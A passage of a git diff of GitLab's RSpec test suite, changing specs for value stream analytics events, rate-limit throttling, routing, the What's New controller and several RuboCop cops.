+ expect(json_response['events']).not_to be_empty
+ expect(json_response['events'].first['iid']).to eq(first_issue_iid)
+ end
- expect(json_response['events'].first['iid']).to eq(first_mr_iid)
- end
+ it 'lists the code events' do
+ get project_cycle_analytics_code_path(project, format: :json)
- it 'lists the test events', :sidekiq_might_not_need_inline do
- get project_cycle_analytics_test_path(project, format: :json)
+ expect(json_response['events']).not_to be_empty
- expect(json_response['events']).not_to be_empty
- expect(json_response['events'].first['date']).not_to be_empty
- end
+ first_mr_iid = project.merge_requests.sort_by_attribute(:created_desc).pluck(:iid).first.to_s
- it 'lists the review events' do
- get project_cycle_analytics_review_path(project, format: :json)
+ expect(json_response['events'].first['iid']).to eq(first_mr_iid)
+ end
- first_mr_iid = project.merge_requests.sort_by_attribute(:created_desc).pluck(:iid).first.to_s
+ it 'lists the test events', :sidekiq_inline do
+ get project_cycle_analytics_test_path(project, format: :json)
- expect(json_response['events']).not_to be_empty
- expect(json_response['events'].first['iid']).to eq(first_mr_iid)
- end
+ expect(json_response['events']).not_to be_empty
+ expect(json_response['events'].first['date']).not_to be_empty
+ end
- it 'lists the staging events', :sidekiq_might_not_need_inline do
- get project_cycle_analytics_staging_path(project, format: :json)
+ it 'lists the review events' do
+ get project_cycle_analytics_review_path(project, format: :json)
- expect(json_response['events']).not_to be_empty
- expect(json_response['events'].first['date']).not_to be_empty
- end
+ first_mr_iid = project.merge_requests.sort_by_attribute(:created_desc).pluck(:iid).first.to_s
- context 'specific branch' do
- it 'lists the test events', :sidekiq_might_not_need_inline do
- branch = project.merge_requests.first.source_branch
+ expect(json_response['events']).not_to be_empty
+ expect(json_response['events'].first['iid']).to eq(first_mr_iid)
+ end
- get project_cycle_analytics_test_path(project, format: :json, branch: branch)
+ it 'lists the staging events', :sidekiq_inline do
+ get project_cycle_analytics_staging_path(project, format: :json)
expect(json_response['events']).not_to be_empty
expect(json_response['events'].first['date']).not_to be_empty
end
- end
- context 'with private project and builds' do
- before do
- project.members.last.update(access_level: Gitlab::Access::GUEST)
- end
+ context 'with private project and builds' do
+ before do
+ project.members.last.update(access_level: Gitlab::Access::GUEST)
+ end
- it 'does not list the test events' do
- get project_cycle_analytics_test_path(project, format: :json)
+ it 'does not list the test events' do
+ get project_cycle_analytics_test_path(project, format: :json)
- expect(response).to have_gitlab_http_status(:not_found)
- end
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
- it 'does not list the staging events' do
- get project_cycle_analytics_staging_path(project, format: :json)
+ it 'does not list the staging events' do
+ get project_cycle_analytics_staging_path(project, format: :json)
- expect(response).to have_gitlab_http_status(:not_found)
- end
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
- it 'lists the issue events' do
- get project_cycle_analytics_issue_path(project, format: :json)
+ it 'lists the issue events' do
+ get project_cycle_analytics_issue_path(project, format: :json)
- expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to have_gitlab_http_status(:ok)
+ end
end
end
end
+ describe 'when new_project_level_vsa_backend feature flag is off' do
+ before do
+ stub_feature_flags(new_project_level_vsa_backend: false, thing: project)
+ end
+
+ it_behaves_like 'value stream analytics events examples'
+ end
+
+ describe 'when new_project_level_vsa_backend feature flag is on' do
+ before do
+ stub_feature_flags(new_project_level_vsa_backend: true, thing: project)
+ end
+
+ it_behaves_like 'value stream analytics events examples'
+ end
+
def create_cycle
milestone = create(:milestone, project: project)
issue.update(milestone: milestone)
@@ -123,5 +130,7 @@ RSpec.describe 'value stream analytics events' do
merge_merge_requests_closing_issue(user, project, issue)
ProcessCommitWorker.new.perform(project.id, user.id, mr.commits.last.to_hash)
+
+ mr.metrics.update!(latest_build_started_at: 1.hour.ago, latest_build_finished_at: Time.now)
end
end
diff --git a/spec/requests/projects/metrics_dashboard_spec.rb b/spec/requests/projects/metrics_dashboard_spec.rb
index 0a4100f2bf5..c248463faa3 100644
--- a/spec/requests/projects/metrics_dashboard_spec.rb
+++ b/spec/requests/projects/metrics_dashboard_spec.rb
@@ -70,7 +70,7 @@ RSpec.describe 'Projects::MetricsDashboardController' do
context 'when query param environment does not exist' do
it 'responds with 404' do
- send_request(environment: 99)
+ send_request(environment: non_existing_record_id)
expect(response).to have_gitlab_http_status(:not_found)
end
end
@@ -105,7 +105,7 @@ RSpec.describe 'Projects::MetricsDashboardController' do
context 'when query param environment does not exist' do
it 'responds with 404' do
- send_request(dashboard_path: dashboard_path, environment: 99)
+ send_request(dashboard_path: dashboard_path, environment: non_existing_record_id)
expect(response).to have_gitlab_http_status(:not_found)
end
end
diff --git a/spec/requests/rack_attack_global_spec.rb b/spec/requests/rack_attack_global_spec.rb
index 805ac5a9118..c2e68df2c40 100644
--- a/spec/requests/rack_attack_global_spec.rb
+++ b/spec/requests/rack_attack_global_spec.rb
@@ -106,7 +106,7 @@ RSpec.describe 'Rack Attack global throttles' do
let(:request_jobs_url) { '/api/v4/jobs/request' }
let(:runner) { create(:ci_runner) }
- it 'does not cont as unauthenticated' do
+ it 'does not count as unauthenticated' do
(1 + requests_per_period).times do
post request_jobs_url, params: { token: runner.token }
expect(response).to have_gitlab_http_status(:no_content)
@@ -114,6 +114,17 @@ RSpec.describe 'Rack Attack global throttles' do
end
end
+ context 'when the request is to a health endpoint' do
+ let(:health_endpoint) { '/-/metrics' }
+
+ it 'does not throttle the requests' do
+ (1 + requests_per_period).times do
+ get health_endpoint
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+
it 'logs RackAttack info into structured logs' do
requests_per_period.times do
get url_that_does_not_require_authentication
@@ -133,6 +144,14 @@ RSpec.describe 'Rack Attack global throttles' do
get url_that_does_not_require_authentication
end
+
+ it_behaves_like 'tracking when dry-run mode is set' do
+ let(:throttle_name) { 'throttle_unauthenticated' }
+
+ def do_request
+ get url_that_does_not_require_authentication
+ end
+ end
end
context 'when the throttle is disabled' do
@@ -231,6 +250,10 @@ RSpec.describe 'Rack Attack global throttles' do
let(:post_params) { { user: { login: 'username', password: 'password' } } }
+ def do_request
+ post protected_path_that_does_not_require_authentication, params: post_params
+ end
+
before do
settings_to_set[:throttle_protected_paths_requests_per_period] = requests_per_period # 1
settings_to_set[:throttle_protected_paths_period_in_seconds] = period_in_seconds # 10_000
@@ -244,7 +267,7 @@ RSpec.describe 'Rack Attack global throttles' do
it 'allows requests over the rate limit' do
(1 + requests_per_period).times do
- post protected_path_that_does_not_require_authentication, params: post_params
+ do_request
expect(response).to have_gitlab_http_status(:ok)
end
end
@@ -258,12 +281,16 @@ RSpec.describe 'Rack Attack global throttles' do
it 'rejects requests over the rate limit' do
requests_per_period.times do
- post protected_path_that_does_not_require_authentication, params: post_params
+ do_request
expect(response).to have_gitlab_http_status(:ok)
end
expect_rejection { post protected_path_that_does_not_require_authentication, params: post_params }
end
+
+ it_behaves_like 'tracking when dry-run mode is set' do
+ let(:throttle_name) { 'throttle_unauthenticated_protected_paths' }
+ end
end
end
diff --git a/spec/requests/self_monitoring_project_spec.rb b/spec/requests/self_monitoring_project_spec.rb
index 5844a27da17..f7227f71b05 100644
--- a/spec/requests/self_monitoring_project_spec.rb
+++ b/spec/requests/self_monitoring_project_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe 'Self-Monitoring project requests' do
it_behaves_like 'not accessible to non-admin users'
- context 'with admin user' do
+ context 'with admin user', :enable_admin_mode do
before do
login_as(admin)
end
@@ -36,7 +36,7 @@ RSpec.describe 'Self-Monitoring project requests' do
it_behaves_like 'not accessible to non-admin users'
- context 'with admin user' do
+ context 'with admin user', :enable_admin_mode do
before do
login_as(admin)
end
@@ -116,7 +116,7 @@ RSpec.describe 'Self-Monitoring project requests' do
it_behaves_like 'not accessible to non-admin users'
- context 'with admin user' do
+ context 'with admin user', :enable_admin_mode do
before do
login_as(admin)
end
@@ -140,7 +140,7 @@ RSpec.describe 'Self-Monitoring project requests' do
it_behaves_like 'not accessible to non-admin users'
- context 'with admin user' do
+ context 'with admin user', :enable_admin_mode do
before do
login_as(admin)
end
diff --git a/spec/requests/whats_new_controller_spec.rb b/spec/requests/whats_new_controller_spec.rb
index c04a6b00a93..8005d38dbb0 100644
--- a/spec/requests/whats_new_controller_spec.rb
+++ b/spec/requests/whats_new_controller_spec.rb
@@ -4,29 +4,31 @@ require 'spec_helper'
RSpec.describe WhatsNewController do
describe 'whats_new_path' do
- context 'with whats_new_drawer feature enabled' do
- let(:fixture_dir_glob) { Dir.glob(File.join('spec', 'fixtures', 'whats_new', '*.yml')) }
+ let(:item) { double(:item) }
+ let(:highlights) { double(:highlight, items: [item], map: [item].map, next_page: 2) }
+ context 'with whats_new_drawer feature enabled' do
before do
stub_feature_flags(whats_new_drawer: true)
- allow(Dir).to receive(:glob).with(Rails.root.join('data', 'whats_new', '*.yml')).and_return(fixture_dir_glob)
end
context 'with no page param' do
it 'responds with paginated data and headers' do
+ allow(ReleaseHighlight).to receive(:paginated).with(page: 1).and_return(highlights)
+ allow(Gitlab::WhatsNew::ItemPresenter).to receive(:present).with(item).and_return(item)
+
get whats_new_path, xhr: true
- expect(response.body).to eq([{ title: "bright and sunshinin' day", release: "01.05" }].to_json)
+ expect(response.body).to eq(highlights.items.to_json)
expect(response.headers['X-Next-Page']).to eq(2)
end
end
context 'with page param' do
- it 'responds with paginated data and headers' do
- get whats_new_path(page: 2), xhr: true
+ it 'passes the page parameter' do
+ expect(ReleaseHighlight).to receive(:paginated).with(page: 2).and_call_original
- expect(response.body).to eq([{ title: 'bright' }].to_json)
- expect(response.headers['X-Next-Page']).to eq(3)
+ get whats_new_path(page: 2), xhr: true
end
it 'returns a 404 if page param is negative' do
@@ -34,13 +36,17 @@ RSpec.describe WhatsNewController do
expect(response).to have_gitlab_http_status(:not_found)
end
+ end
+
+ context 'with version param' do
+ it 'returns items without pagination headers' do
+ allow(ReleaseHighlight).to receive(:for_version).with(version: '42').and_return(highlights)
+ allow(Gitlab::WhatsNew::ItemPresenter).to receive(:present).with(item).and_return(item)
+
+ get whats_new_path(version: 42), xhr: true
- context 'when there are no more paginated results' do
- it 'responds with nil X-Next-Page header' do
- get whats_new_path(page: 3), xhr: true
- expect(response.body).to eq([{ title: "It's gonna be a bright" }].to_json)
- expect(response.headers['X-Next-Page']).to be nil
- end
+ expect(response.body).to eq(highlights.items.to_json)
+ expect(response.headers['X-Next-Page']).to be_nil
end
end
end
diff --git a/spec/routing/git_http_routing_spec.rb b/spec/routing/git_http_routing_spec.rb
index e5216d99eb9..e3cc1440a9e 100644
--- a/spec/routing/git_http_routing_spec.rb
+++ b/spec/routing/git_http_routing_spec.rb
@@ -3,22 +3,60 @@
require 'spec_helper'
RSpec.describe 'git_http routing' do
- include RSpec::Rails::RequestExampleGroup
+ describe 'code repositories' do
+ it_behaves_like 'git repository routes' do
+ let(:path) { '/gitlab-org/gitlab-test.git' }
+ end
+ end
+
+ describe 'wiki repositories' do
+ context 'in project' do
+ let(:path) { '/gitlab-org/gitlab-test.wiki.git' }
+
+ it_behaves_like 'git repository routes'
+
+ describe 'redirects', type: :request do
+ let(:web_path) { '/gitlab-org/gitlab-test/-/wikis' }
+
+ it 'redirects namespace/project.wiki.git to the project wiki' do
+ expect(get(path)).to redirect_to(web_path)
+ end
- describe 'wiki.git routing', 'routing' do
- let(:wiki_path) { '/gitlab/gitlabhq/wikis' }
+ it 'preserves query parameters' do
+ expect(get("#{path}?foo=bar&baz=qux")).to redirect_to("#{web_path}?foo=bar&baz=qux")
+ end
- it 'redirects namespace/project.wiki.git to the project wiki' do
- expect(get('/gitlab/gitlabhq.wiki.git')).to redirect_to(wiki_path)
+ it 'only redirects when the format is .git' do
+ expect(get(path.delete_suffix('.git'))).not_to redirect_to(web_path)
+ expect(get(path.delete_suffix('.git') + '.json')).not_to redirect_to(web_path)
+ end
+ end
end
- it 'preserves query parameters' do
- expect(get('/gitlab/gitlabhq.wiki.git?foo=bar&baz=qux')).to redirect_to("#{wiki_path}?foo=bar&baz=qux")
+ context 'in toplevel group' do
+ it_behaves_like 'git repository routes' do
+ let(:path) { '/gitlab-org.wiki.git' }
+ end
+ end
+
+ context 'in child group' do
+ it_behaves_like 'git repository routes' do
+ let(:path) { '/gitlab-org/child.wiki.git' }
+ end
+ end
+ end
+
+ describe 'snippet repositories' do
+ context 'personal snippet' do
+ it_behaves_like 'git repository routes' do
+ let(:path) { '/snippets/123.git' }
+ end
end
- it 'only redirects when the format is .git' do
- expect(get('/gitlab/gitlabhq.wiki')).not_to redirect_to(wiki_path)
- expect(get('/gitlab/gitlabhq.wiki.json')).not_to redirect_to(wiki_path)
+ context 'project snippet' do
+ it_behaves_like 'git repository routes' do
+ let(:path) { '/gitlab-org/gitlab-test/snippets/123.git' }
+ end
end
end
end
diff --git a/spec/routing/group_routing_spec.rb b/spec/routing/group_routing_spec.rb
index f4d5ccc81b6..f171c2faf5e 100644
--- a/spec/routing/group_routing_spec.rb
+++ b/spec/routing/group_routing_spec.rb
@@ -81,6 +81,10 @@ RSpec.describe "Groups", "routing" do
end
describe 'dependency proxy for containers' do
+ it 'routes to #authenticate' do
+ expect(get('/v2')).to route_to('groups/dependency_proxy_auth#authenticate')
+ end
+
context 'image name without namespace' do
it 'routes to #manifest' do
expect(get('/v2/gitlabhq/dependency_proxy/containers/ruby/manifests/2.3.6'))
diff --git a/spec/routing/import_routing_spec.rb b/spec/routing/import_routing_spec.rb
index 15d2f32de78..b1da2eaa33b 100644
--- a/spec/routing/import_routing_spec.rb
+++ b/spec/routing/import_routing_spec.rb
@@ -126,32 +126,6 @@ RSpec.describe Import::BitbucketServerController, 'routing' do
end
end
-# status_import_google_code GET /import/google_code/status(.:format) import/google_code#status
-# callback_import_google_code POST /import/google_code/callback(.:format) import/google_code#callback
-# jobs_import_google_code GET /import/google_code/jobs(.:format) import/google_code#jobs
-# new_user_map_import_google_code GET /import/google_code/user_map(.:format) import/google_code#new_user_map
-# create_user_map_import_google_code POST /import/google_code/user_map(.:format) import/google_code#create_user_map
-# import_google_code POST /import/google_code(.:format) import/google_code#create
-# new_import_google_code GET /import/google_code/new(.:format) import/google_code#new
-RSpec.describe Import::GoogleCodeController, 'routing' do
- it_behaves_like 'importer routing' do
- let(:except_actions) { [:callback] }
- let(:provider) { 'google_code' }
- end
-
- it 'to #callback' do
- expect(post("/import/google_code/callback")).to route_to("import/google_code#callback")
- end
-
- it 'to #new_user_map' do
- expect(get('/import/google_code/user_map')).to route_to('import/google_code#new_user_map')
- end
-
- it 'to #create_user_map' do
- expect(post('/import/google_code/user_map')).to route_to('import/google_code#create_user_map')
- end
-end
-
# status_import_fogbugz GET /import/fogbugz/status(.:format) import/fogbugz#status
# callback_import_fogbugz POST /import/fogbugz/callback(.:format) import/fogbugz#callback
# realtime_changes_import_fogbugz GET /import/fogbugz/realtime_changes(.:format) import/fogbugz#realtime_changes
diff --git a/spec/routing/routing_spec.rb b/spec/routing/routing_spec.rb
index 76ccdf3237c..26ad1f14786 100644
--- a/spec/routing/routing_spec.rb
+++ b/spec/routing/routing_spec.rb
@@ -2,7 +2,9 @@
require 'spec_helper'
-# user GET /users/:username/
+# user GET /:username
+# user_ssh_keys GET /:username.keys
+# user_gpg_keys GET /:username.gpg
# user_groups GET /users/:username/groups(.:format)
# user_projects GET /users/:username/projects(.:format)
# user_contributed_projects GET /users/:username/contributed(.:format)
@@ -16,6 +18,12 @@ RSpec.describe UsersController, "routing" do
expect(get("/User")).to route_to('users#show', username: 'User')
end
+ it "to #gpg_keys" do
+ allow_any_instance_of(::Constraints::UserUrlConstrainer).to receive(:matches?).and_return(true)
+
+ expect(get("/User.gpg")).to route_to('users#gpg_keys', username: 'User')
+ end
+
it "to #groups" do
expect(get("/users/User/groups")).to route_to('users#groups', username: 'User')
end
@@ -32,6 +40,13 @@ RSpec.describe UsersController, "routing" do
expect(get("/users/User/snippets")).to route_to('users#snippets', username: 'User')
end
+ # get all the ssh-keys of a user
+ it "to #ssh_keys" do
+ allow_any_instance_of(::Constraints::UserUrlConstrainer).to receive(:matches?).and_return(true)
+
+ expect(get("/User.keys")).to route_to('users#ssh_keys', username: 'User')
+ end
+
it "to #calendar" do
expect(get("/users/User/calendar")).to route_to('users#calendar', username: 'User')
end
@@ -54,10 +69,6 @@ RSpec.describe "Mounted Apps", "routing" do
it "to API" do
expect(get("/api/issues")).to be_routable
end
-
- it "to Grack" do
- expect(get("/gitlab/gitlabhq.git")).to be_routable
- end
end
# snippets GET /snippets(.:format) snippets#index
@@ -175,11 +186,23 @@ RSpec.describe Profiles::KeysController, "routing" do
it "to #destroy" do
expect(delete("/profile/keys/1")).to route_to('profiles/keys#destroy', id: '1')
end
+end
- it "to #get_keys" do
- allow_any_instance_of(::Constraints::UserUrlConstrainer).to receive(:matches?).and_return(true)
+# keys GET /gpg_keys gpg_keys#index
+# key POST /gpg_keys gpg_keys#create
+# PUT /gpg_keys/:id gpg_keys#revoke
+# DELETE /gpg_keys/:id gpg_keys#desroy
+RSpec.describe Profiles::GpgKeysController, "routing" do
+ it "to #index" do
+ expect(get("/profile/gpg_keys")).to route_to('profiles/gpg_keys#index')
+ end
- expect(get("/foo.keys")).to route_to('profiles/keys#get_keys', username: 'foo')
+ it "to #create" do
+ expect(post("/profile/gpg_keys")).to route_to('profiles/gpg_keys#create')
+ end
+
+ it "to #destroy" do
+ expect(delete("/profile/gpg_keys/1")).to route_to('profiles/gpg_keys#destroy', id: '1')
end
end
diff --git a/spec/rubocop/cop/gitlab/policy_rule_boolean_spec.rb b/spec/rubocop/cop/gitlab/policy_rule_boolean_spec.rb
new file mode 100644
index 00000000000..6221d038512
--- /dev/null
+++ b/spec/rubocop/cop/gitlab/policy_rule_boolean_spec.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require 'rubocop'
+require 'rubocop/rspec/support'
+require_relative '../../../../rubocop/cop/gitlab/policy_rule_boolean'
+
+RSpec.describe RuboCop::Cop::Gitlab::PolicyRuleBoolean, type: :rubocop do
+ include CopHelper
+
+ subject(:cop) { described_class.new }
+
+ it 'registers offense for &&' do
+ expect_offense(<<~SOURCE)
+ rule { conducts_electricity && batteries }.enable :light_bulb
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ && is not allowed within a rule block. Did you mean to use `&`?
+ SOURCE
+ end
+
+ it 'registers offense for ||' do
+ expect_offense(<<~SOURCE)
+ rule { conducts_electricity || batteries }.enable :light_bulb
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ || is not allowed within a rule block. Did you mean to use `|`?
+ SOURCE
+ end
+
+ it 'registers offense for if' do
+ expect_offense(<<~SOURCE)
+ rule { if conducts_electricity then can?(:magnetize) else batteries end }.enable :motor
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ if and ternary operators are not allowed within a rule block.
+ SOURCE
+ end
+
+ it 'registers offense for ternary operator' do
+ expect_offense(<<~SOURCE)
+ rule { conducts_electricity ? can?(:magnetize) : batteries }.enable :motor
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ if and ternary operators are not allowed within a rule block.
+ SOURCE
+ end
+
+ it 'registers no offense for &' do
+ expect_no_offenses(<<~SOURCE)
+ rule { conducts_electricity & batteries }.enable :light_bulb
+ SOURCE
+ end
+
+ it 'registers no offense for |' do
+ expect_no_offenses(<<~SOURCE)
+ rule { conducts_electricity | batteries }.enable :light_bulb
+ SOURCE
+ end
+end
diff --git a/spec/rubocop/cop/graphql/descriptions_spec.rb b/spec/rubocop/cop/graphql/descriptions_spec.rb
index 3b29cd2fbee..f4693057bcb 100644
--- a/spec/rubocop/cop/graphql/descriptions_spec.rb
+++ b/spec/rubocop/cop/graphql/descriptions_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe RuboCop::Cop::Graphql::Descriptions, type: :rubocop do
subject(:cop) { described_class.new }
context 'fields' do
- it 'adds an offense when there is no field description' do
+ it 'adds an offense when there is no description' do
inspect_source(<<~TYPE)
module Types
class FakeType < BaseObject
@@ -24,24 +24,37 @@ RSpec.describe RuboCop::Cop::Graphql::Descriptions, type: :rubocop do
expect(cop.offenses.size).to eq 1
end
- it 'does not add an offense for fields with a description' do
- expect_no_offenses(<<~TYPE.strip)
+ it 'adds an offense when description does not end in a period' do
+ inspect_source(<<~TYPE)
module Types
class FakeType < BaseObject
- graphql_name 'FakeTypeName'
-
- argument :a_thing,
+ field :a_thing,
GraphQL::STRING_TYPE,
null: false,
description: 'A descriptive description'
end
end
TYPE
+
+ expect(cop.offenses.size).to eq 1
+ end
+
+ it 'does not add an offense when description is correct' do
+ expect_no_offenses(<<~TYPE.strip)
+ module Types
+ class FakeType < BaseObject
+ field :a_thing,
+ GraphQL::STRING_TYPE,
+ null: false,
+ description: 'A descriptive description.'
+ end
+ end
+ TYPE
end
end
context 'arguments' do
- it 'adds an offense when there is no argument description' do
+ it 'adds an offense when there is no description' do
inspect_source(<<~TYPE)
module Types
class FakeType < BaseObject
@@ -55,19 +68,88 @@ RSpec.describe RuboCop::Cop::Graphql::Descriptions, type: :rubocop do
expect(cop.offenses.size).to eq 1
end
- it 'does not add an offense for arguments with a description' do
- expect_no_offenses(<<~TYPE.strip)
+ it 'adds an offense when description does not end in a period' do
+ inspect_source(<<~TYPE)
module Types
class FakeType < BaseObject
- graphql_name 'FakeTypeName'
+ argument :a_thing,
+ GraphQL::STRING_TYPE,
+ null: false,
+ description: 'Behold! A description'
+ end
+ end
+ TYPE
+ expect(cop.offenses.size).to eq 1
+ end
+
+ it 'does not add an offense when description is correct' do
+ expect_no_offenses(<<~TYPE.strip)
+ module Types
+ class FakeType < BaseObject
argument :a_thing,
GraphQL::STRING_TYPE,
null: false,
+ description: 'Behold! A description.'
+ end
+ end
+ TYPE
+ end
+ end
+
+ describe 'autocorrecting descriptions without periods' do
+ it 'can autocorrect' do
+ expect_offense(<<~TYPE)
+ module Types
+ class FakeType < BaseObject
+ field :a_thing,
+ ^^^^^^^^^^^^^^^ `description` strings must end with a `.`.
+ GraphQL::STRING_TYPE,
+ null: false,
description: 'Behold! A description'
end
end
TYPE
+
+ expect_correction(<<~TYPE)
+ module Types
+ class FakeType < BaseObject
+ field :a_thing,
+ GraphQL::STRING_TYPE,
+ null: false,
+ description: 'Behold! A description.'
+ end
+ end
+ TYPE
+ end
+
+ it 'can autocorrect a heredoc' do
+ expect_offense(<<~TYPE)
+ module Types
+ class FakeType < BaseObject
+ field :a_thing,
+ ^^^^^^^^^^^^^^^ `description` strings must end with a `.`.
+ GraphQL::STRING_TYPE,
+ null: false,
+ description: <<~DESC
+ Behold! A description
+ DESC
+ end
+ end
+ TYPE
+
+ expect_correction(<<~TYPE)
+ module Types
+ class FakeType < BaseObject
+ field :a_thing,
+ GraphQL::STRING_TYPE,
+ null: false,
+ description: <<~DESC
+ Behold! A description.
+ DESC
+ end
+ end
+ TYPE
end
end
end
diff --git a/spec/rubocop/cop/include_sidekiq_worker_spec.rb b/spec/rubocop/cop/include_sidekiq_worker_spec.rb
index 8d056c6a13e..33737babee5 100644
--- a/spec/rubocop/cop/include_sidekiq_worker_spec.rb
+++ b/spec/rubocop/cop/include_sidekiq_worker_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe RuboCop::Cop::IncludeSidekiqWorker, type: :rubocop do
let(:source) { 'include Sidekiq::Worker' }
let(:correct_source) { 'include ApplicationWorker' }
- it 'registers an offense ' do
+ it 'registers an offense' do
inspect_source(source)
aggregate_failures do
diff --git a/spec/rubocop/cop/lint/last_keyword_argument_spec.rb b/spec/rubocop/cop/lint/last_keyword_argument_spec.rb
new file mode 100644
index 00000000000..5822bf74e8d
--- /dev/null
+++ b/spec/rubocop/cop/lint/last_keyword_argument_spec.rb
@@ -0,0 +1,138 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require 'rubocop'
+require_relative '../../../../rubocop/cop/lint/last_keyword_argument'
+
+RSpec.describe RuboCop::Cop::Lint::LastKeywordArgument, type: :rubocop do
+ include CopHelper
+
+ subject(:cop) { described_class.new }
+
+ before do
+ described_class.instance_variable_set(:@keyword_warnings, nil)
+ end
+
+ context 'deprecation files does not exist' do
+ before do
+ allow(Dir).to receive(:glob).and_return([])
+ allow(File).to receive(:exist?).and_return(false)
+ end
+
+ it 'does not register an offense' do
+ expect_no_offenses(<<~SOURCE)
+ users.call(params)
+ SOURCE
+ end
+ end
+
+ context 'deprecation files does exist' do
+ let(:create_spec_yaml) do
+ <<~YAML
+ ---
+ test_mutations/boards/lists/create#resolve_with_proper_permissions_backlog_list_creates_one_and_only_one_backlog:
+ - |
+ DEPRECATION WARNING: /Users/tkuah/.rbenv/versions/2.7.2/lib/ruby/gems/2.7.0/gems/batch-loader-1.4.0/lib/batch_loader/graphql.rb:38: warning: Using the last argument as keyword parameters is deprecated; maybe ** should be added to the call
+ /Users/tkuah/.rbenv/versions/2.7.2/lib/ruby/gems/2.7.0/gems/batch-loader-1.4.0/lib/batch_loader.rb:26: warning: The called method `batch' is defined here
+ test_mutations/boards/lists/create#ready?_raises_an_error_if_required_arguments_are_missing:
+ - |
+ DEPRECATION WARNING: /Users/tkuah/code/ee-gdk/gitlab/create_service.rb:1: warning: Using the last argument as keyword parameters is deprecated; maybe ** should be added to the call
+ /Users/tkuah/code/ee-gdk/gitlab/user.rb:17: warning: The called method `call' is defined here
+ YAML
+ end
+
+ let(:projects_spec_yaml) do
+ <<~YAML
+ ---
+ test_api/projects_get_/projects_when_unauthenticated_behaves_like_projects_response_returns_an_array_of_projects:
+ - |
+ DEPRECATION WARNING: /Users/tkuah/code/ee-gdk/gitlab/projects_spec.rb:1: warning: Using the last argument as keyword parameters is deprecated; maybe ** should be added to the call
+ /Users/tkuah/code/ee-gdk/gitlab/lib/gitlab/project.rb:15: warning: The called method `initialize' is defined here
+ - |
+ DEPRECATION WARNING: /Users/tkuah/.rbenv/versions/2.7.2/lib/ruby/gems/2.7.0/gems/state_machines-activerecord-0.6.0/lib/state_machines/integrations/active_record.rb:511: warning: Using the last argument as keyword parameters is deprecated; maybe ** should be added to the call
+ /Users/tkuah/.rbenv/versions/2.7.2/lib/ruby/gems/2.7.0/gems/activerecord-6.0.3.3/lib/active_record/suppressor.rb:43: warning: The called method `save' is defined here
+ - |
+ DEPRECATION WARNING: /Users/tkuah/.rbenv/versions/2.7.2/lib/ruby/gems/2.7.0/gems/rack-2.2.3/lib/rack/builder.rb:158: warning: Using the last argument as keyword parameters is deprecated; maybe ** should be added to the call
+ /Users/tkuah/.rbenv/versions/2.7.2/lib/ruby/gems/2.7.0/gems/grape-1.4.0/lib/grape/middleware/error.rb:30: warning: The called method `initialize' is defined here
+ YAML
+ end
+
+ before do
+ allow(Dir).to receive(:glob).and_return(['deprecations/service/create_spec.yml', 'deprecations/api/projects_spec.yml'])
+ allow(File).to receive(:read).and_return(create_spec_yaml, projects_spec_yaml)
+ end
+
+ it 'registers an offense' do
+ expect_offense(<<~SOURCE, 'create_service.rb')
+ users.call(params)
+ ^^^^^^ Using the last argument as keyword parameters is deprecated
+ SOURCE
+
+ expect_correction(<<~SOURCE)
+ users.call(**params)
+ SOURCE
+ end
+
+ it 'registers an offense for the new method call' do
+ expect_offense(<<~SOURCE, 'projects_spec.rb')
+ Project.new(params)
+ ^^^^^^ Using the last argument as keyword parameters is deprecated
+ SOURCE
+
+ expect_correction(<<~SOURCE)
+ Project.new(**params)
+ SOURCE
+ end
+
+ it 'registers an offense and corrects by converting hash to kwarg' do
+ expect_offense(<<~SOURCE, 'create_service.rb')
+ users.call(id, { a: :b, c: :d })
+ ^^^^^^^^^^^^^^^^ Using the last argument as keyword parameters is deprecated
+ SOURCE
+
+ expect_correction(<<~SOURCE)
+ users.call(id, a: :b, c: :d)
+ SOURCE
+ end
+
+ it 'registers an offense and corrects by converting splat to double splat' do
+ expect_offense(<<~SOURCE, 'create_service.rb')
+ users.call(id, *params)
+ ^^^^^^^ Using the last argument as keyword parameters is deprecated
+ SOURCE
+
+ expect_correction(<<~SOURCE)
+ users.call(id, **params)
+ SOURCE
+ end
+
+ it 'does not register an offense if already a kwarg', :aggregate_failures do
+ expect_no_offenses(<<~SOURCE, 'create_service.rb')
+ users.call(**params)
+ SOURCE
+
+ expect_no_offenses(<<~SOURCE, 'create_service.rb')
+ users.call(id, a: :b, c: :d)
+ SOURCE
+ end
+
+ it 'does not register an offense if the method name does not match' do
+ expect_no_offenses(<<~SOURCE, 'create_service.rb')
+ users.process(params)
+ SOURCE
+ end
+
+ it 'does not register an offense if the line number does not match' do
+ expect_no_offenses(<<~SOURCE, 'create_service.rb')
+ users.process
+ users.call(params)
+ SOURCE
+ end
+
+ it 'does not register an offense if the filename does not match' do
+ expect_no_offenses(<<~SOURCE, 'update_service.rb')
+ users.call(params)
+ SOURCE
+ end
+ end
+end
diff --git a/spec/rubocop/cop/migration/add_column_with_default_spec.rb b/spec/rubocop/cop/migration/add_column_with_default_spec.rb
index 50af344e0d4..6deb092f235 100644
--- a/spec/rubocop/cop/migration/add_column_with_default_spec.rb
+++ b/spec/rubocop/cop/migration/add_column_with_default_spec.rb
@@ -26,7 +26,7 @@ RSpec.describe RuboCop::Cop::Migration::AddColumnWithDefault, type: :rubocop do
let(:offense) { '`add_column_with_default` is deprecated, use `add_column` instead' }
- it 'registers an offense ' do
+ it 'registers an offense' do
expect_offense(<<~RUBY)
def up
add_column_with_default(:merge_request_diff_files, :artifacts, :boolean, default: true, allow_null: false)
diff --git a/spec/rubocop/cop/migration/create_table_with_foreign_keys_spec.rb b/spec/rubocop/cop/migration/create_table_with_foreign_keys_spec.rb
